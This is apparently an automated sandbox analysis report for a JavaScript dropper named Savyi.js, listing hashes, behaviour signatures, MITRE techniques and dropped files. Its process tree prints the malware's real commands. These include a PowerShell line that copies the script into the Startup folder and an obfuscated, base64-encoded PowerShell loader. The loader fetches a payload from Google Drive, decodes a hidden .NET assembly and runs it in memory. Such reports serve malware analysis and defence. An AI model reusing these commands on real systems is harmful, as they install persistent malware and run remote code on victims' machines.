ff6e5b04064c63dd80619d02c242c856bbf4e1f94ab230ca74817c3aa471ece4 | Triage

Analysis

max time kernel
135s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
31/10/2024, 17:05

Sharing

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General

Target

Savyi.js
Size

60KB
MD5

caf142ae86793cd64c2947889f57ce28
SHA1

3c41375b1ee78c89b581b3d2a2aea42f895caab6
SHA256

ff6e5b04064c63dd80619d02c242c856bbf4e1f94ab230ca74817c3aa471ece4
SHA512

99eef70a65338f8147b9f5400ce3f49475140eb20d406c1cef0014abcd812ba0da5d94c5b61bd6deb0376ded7331fa1b4367283de86dd5f2edb7d215f4be6608
SSDEEP

1536:IHXpEjO9Xwq2Sk6e2Nhxdd5pdLv+lIXQXdE4QmuWOMP3HXpEjO9Xwq2Sk6e2Nhx6:IHXp+q62Nhxdd5pdq6k91HXp+q62Nhx6

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

exe.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
27	4788	powershell.exe
29	4788	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

PowerShell

pid	Process
1376	powershell.exe
3732	powershell.exe
4788	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	wscript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.js	wscript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.js	wscript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

flow	ioc
26	drive.google.com
27	drive.google.com

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

Internet Connection Discovery

pid	Process
3488	cmd.exe
3000	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

pid	Process
3000	PING.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1376	powershell.exe
1376	powershell.exe
3732	powershell.exe
3732	powershell.exe
4788	powershell.exe
4788	powershell.exe
4788	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1376	powershell.exe
Token: SeDebugPrivilege	3732	powershell.exe
Token: SeDebugPrivilege	4788	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 436 wrote to memory of 3488	436	wscript.exe	86
PID 436 wrote to memory of 3488	436	wscript.exe	86
PID 3488 wrote to memory of 3000	3488	cmd.exe	88
PID 3488 wrote to memory of 3000	3488	cmd.exe	88
PID 3488 wrote to memory of 1376	3488	cmd.exe	95
PID 3488 wrote to memory of 1376	3488	cmd.exe	95
PID 436 wrote to memory of 3732	436	wscript.exe	97
PID 436 wrote to memory of 3732	436	wscript.exe	97
PID 3732 wrote to memory of 4788	3732	powershell.exe	100
PID 3732 wrote to memory of 4788	3732	powershell.exe	100

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Savyi.js
1⤵
- Checks computer location settings
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:436
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\Savyi.js', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sj.JJC.js')')
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3488
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 10
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3000
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\Savyi.js', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sj.JJC.js')')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1376
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JgAoACAAJABFAE4AVgA6AEMATwBNAHMAUABlAGMAWwA0ACwAMQA1ACwAMgA1AF0ALQBKAG8AaQBOACcAJwApACAAKAAgACgAKAAnADgATwBaAGkAbQBhAGcAZQBVAHIAbAAgAD0AIABOADYASQBoAHQAdABwAHMAOgAvAC8AZAByAGkAdgBlAC4AZwBvAG8AZwBsAGUALgBjAG8AbQAvAHUAYwA/AGUAeABwAG8AcgB0AD0AZABvAHcAbgBsAG8AYQBkACYAaQBkAD0AJwArACcAMQBBACcAKwAnAEkAVgBnAEoASgBKAHYAMQBGACcAKwAnADYAdgBTADQAcwBVAE8AeQBiAG4ASAAtAHMARAB2AFUAaABCAFkAdwB1AHIAIABOADYASQA7ADgATwBaAHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjACcAKwAnAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlACcAKwAnAGIAQwBsAGkAZQBuAHQAOwA4AE8AWgBpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgADgATwBaAHcAZQBiAEMAbABpAGUAbgB0AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAA4AE8AWgBpAG0AYQBnACcAKwAnAGUAVQByAGwAKQA7ADgATwBaAGkAbQBhAGcAZQBUAGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQAnACsAJwBuACcAKwAnAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdAAnACsAJwBTACcAKwAnAHQAcgBpACcAKwAnAG4AJwArACcAZwAoADgATwBaAGkAbQBhAGcAZQBCACcAKwAnAHkAdABlAHMAKQA7ADgATwBaAHMAdABhAHIAdABGAGwAYQBnACAAPQAgAE4ANgBJADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4ATgA2AEkAOwAnACsAJwA4AE8AWgBlAG4AZABGAGwAJwArACcAYQBnACAAPQAgAE4ANgBJADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgBOADYASQA7ADgATwAnACsAJwBaAHMAdABhACcAKwAnAHIAdABJAG4AZABlAHgAIAA9ACAAOABPAFoAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAOABPAFoAcwB0AGEAcgB0AEYAbABhAGcAKQA7ADgATwBaAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAnACsAJwA4AE8AWgBpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAA4AE8AWgBlAG4AZABGAGwAYQBnACkAOwA4AE8AWgBzAHQAYQByAHQASQBuAGQAZQB4ACAALQBnAGUAIAAwACAALQBhAG4AZAAgADgATwBaAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJwArACcAOAAnACsAJwBPAFoAcwB0AGEAcgB0AEkAbgBkAGUAeAA7ADgATwBaAHMAdABhAHIAdABJAG4AZABlAHgAIAArAD0AJwArACcAIAA4AE8AWgBzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAOABPAFoAYgBhAHMAZQA2ADQATAAnACsAJwBlAG4AZwB0AGgAIAA9ACAAJwArACcAOABPAFoAZQBuAGQASQBuAGQAZQB4ACAALQAgADgATwBaAHMAdABhAHIAdABJAG4AZABlAHgAJwArACcAOwA4AE8AWgBiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgADgATwBaAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0ACcAKwAnAHIAaQBuAGcAKAA4AE8AWgBzAHQAYQByAHQASQBuAGQAZQB4ACwAIAA4AE8AWgBiAGEAcwBlADYANABMAGUAbgBnAHQAJwArACcAaAApADsAOABPAFoAYgAnACsAJwBhAHMAZQA2ADQAUgBlAHYAZQByAHMAZQBkACAAPQAgAC0AagBvAGkAbgAgACgAOABPAFoAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAIAAwAE4AUAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAA4AE8AWgBfACAAfQApAFsALQAxAC4ALgAtACgAOABPAFoAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAuACcAKwAnAEwAZQBuAGcAdABoACkAXQA7ADgATwBaAGMAJwArACcAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAA4AE8AWgBiAGEAcwBlADYANABSAGUAdgBlAHIAcwBlAGQAKQA7ADgATwBaAGwAbwBhACcAKwAnAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdAAnACsAJwBpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAOABPAFoAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAKQA7ADgATwBaAHYAYQBpAE0AZQB0AGgAbwBkACAAPQAgAFsAZABuAGwAaQBiAC4ASQBPAC4ASABvAG0AZQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKABOADYASQBWAEEASQBOADYASQApADsAOABPAFoAdgBhAGkATQAnACsAJwBlAHQAaABvAGQALgBJAG4AdgBvAGsAZQAoADgATwBaAG4AdQBsAGwALAAgAEAAKABOADYASQAwAC8AZQB6AHEAVAA1AC8AZAAvAGUAZQAuACcAKwAnAGUAdABzAGEAcAAvAC8AOgBzAHAAdAB0AGgATgA2AEkALAAgAE4ANgBJAGQAZQBzAGEAdABpAHYAYQBkAG8ATgA2AEkALAAgAE4ANgBJAGQAZQBzAGEAdABpAHYAYQBkAG8ATgA2AEkALAAgAE4ANgBJAGQAZQBzAGEAdABpAHYAYQBkAG8ATgA2AEkALAAgAE4ANgBJAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzADMAMgBOADYASQAsACAATgA2AEkAZABlAHMAYQB0AGkAdgBhAGQAbwBOADYASQAnACsAJwAsACAATgAnACsAJwA2AEkAZABlAHMAYQB0AGkAdgBhAGQAbwBOADYASQAsAE4ANgBJAGQAZQBzAGEAdABpAHYAYQBkAG8ATgA2AEkAJwArACcALABOADYASQBkAGUAcwBhAHQAaQB2AGEAZABvAE4ANgBJACwATgA2AEkAZABlAHMAYQB0AGkAdgBhAGQAbwBOADYASQAsAE4ANgBJAGQAZQBzAGEAdABpAHYAYQBkAG8ATgA2AEkALABOADYASQBkAGUAcwBhAHQAaQB2AGEAZABvAE4ANgBJACwATgA2AEkAMQBOADYAJwArACcASQAsAE4ANgBJACcAKwAnAGQAZQBzAGEAdABpAHYAYQBkAG8ATgA2AEkAKQApADsAJwApACAALQByAGUAcABsAGEAYwBlACAAIAAnADgATwBaACcALABbAEMAaABhAHIAXQAzADYAIAAtAHIAZQBwAGwAYQBjAGUAIAAgACcAMABOAFAAJwAsAFsAQwBoAGEAcgBdADEAMgA0AC0AcgBlAHAAbABhAGMAZQAnAE4ANgBJACcALABbAEMAaABhAHIAXQAzADkAKQAgACkA';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3732
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $ENV:COMsPec[4,15,25]-JoiN'') ( (('8OZimageUrl = N6Ihttps://drive.google.com/uc?export=download&id='+'1A'+'IVgJJJv1F'+'6vS4sUOybnH-sDvUhBYwur N6I;8OZwebClient = New-Objec'+'t System.Net.We'+'bClient;8OZimageBytes = 8OZwebClient.DownloadData(8OZimag'+'eUrl);8OZimageText = [System.Text.E'+'n'+'coding]::UTF8.Get'+'S'+'tri'+'n'+'g(8OZimageB'+'ytes);8OZstartFlag = N6I<<BASE64_START>>N6I;'+'8OZendFl'+'ag = N6I<<BASE64_END>>N6I;8O'+'Zsta'+'rtIndex = 8OZimageText.IndexOf(8OZstartFlag);8OZendIndex = '+'8OZimageText.IndexOf(8OZendFlag);8OZstartIndex -ge 0 -and 8OZendIndex -gt '+'8'+'OZstartIndex;8OZstartIndex +='+' 8OZstartFlag.Length;8OZbase64L'+'ength = '+'8OZendIndex - 8OZstartIndex'+';8OZbase64Command = 8OZimageText.Subst'+'ring(8OZstartIndex, 8OZbase64Lengt'+'h);8OZb'+'ase64Reversed = -join (8OZbase64Command.ToCharArray() 0NP ForEach-Object { 8OZ_ })[-1..-(8OZbase64Command.'+'Length)];8OZc'+'ommandBytes = [System.Convert]::FromBase64String(8OZbase64Reversed);8OZloa'+'dedAssembly = [System.Reflect'+'ion.Assembly]::Load(8OZcommandBytes);8OZvaiMethod = [dnlib.IO.Home].GetMethod(N6IVAIN6I);8OZvaiM'+'ethod.Invoke(8OZnull, @(N6I0/ezqT5/d/ee.'+'etsap//:sptthN6I, N6IdesativadoN6I, N6IdesativadoN6I, N6IdesativadoN6I, N6IAddInProcess32N6I, N6IdesativadoN6I'+', N'+'6IdesativadoN6I,N6IdesativadoN6I'+',N6IdesativadoN6I,N6IdesativadoN6I,N6IdesativadoN6I,N6IdesativadoN6I,N6I1N6'+'I,N6I'+'desativadoN6I));') -replace '8OZ',[Char]36 -replace '0NP',[Char]124-replace'N6I',[Char]39) )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4788

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

JavaScript

PowerShell

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

Remote System Discovery

System Information Discovery

System Network Configuration Discovery

Internet Connection Discovery

Lateral Movement

Collection

Command and Control

Web Service

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d42b6da621e8df5674e26b799c8e2aa

SHA1
ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

SHA256
5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

SHA512
53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
7a6d8e7a6f21fa0332e93c48550c451a

SHA1
fe96118a647c9cc305a698ce5a881845a2601b39

SHA256
d6495a0dbb9f187c1b901e14ce5342f99b3e083dfc3ffec75655e2e66976397a

SHA512
1cf97f6fb51cdf8b70a12ee2c9991d91f1f5af5b6248b14ad382acf4a9ae1369e4a8922bfe72ee2f804767f198065386fdf4ec42f74a1ef9d34368757161325b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_aweuy4jv.jo4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1376-1-0x00007FFCC6023000-0x00007FFCC6025000-memory.dmp

Filesize
8KB

Download
memory/1376-7-0x00000278FD1E0000-0x00000278FD202000-memory.dmp

Filesize
136KB

Download
memory/1376-12-0x00007FFCC6020000-0x00007FFCC6AE1000-memory.dmp

Filesize
10.8MB

Download
memory/1376-13-0x00007FFCC6020000-0x00007FFCC6AE1000-memory.dmp

Filesize
10.8MB

Download
memory/1376-14-0x00007FFCC6020000-0x00007FFCC6AE1000-memory.dmp

Filesize
10.8MB

Download
memory/1376-17-0x00007FFCC6020000-0x00007FFCC6AE1000-memory.dmp

Filesize
10.8MB

Download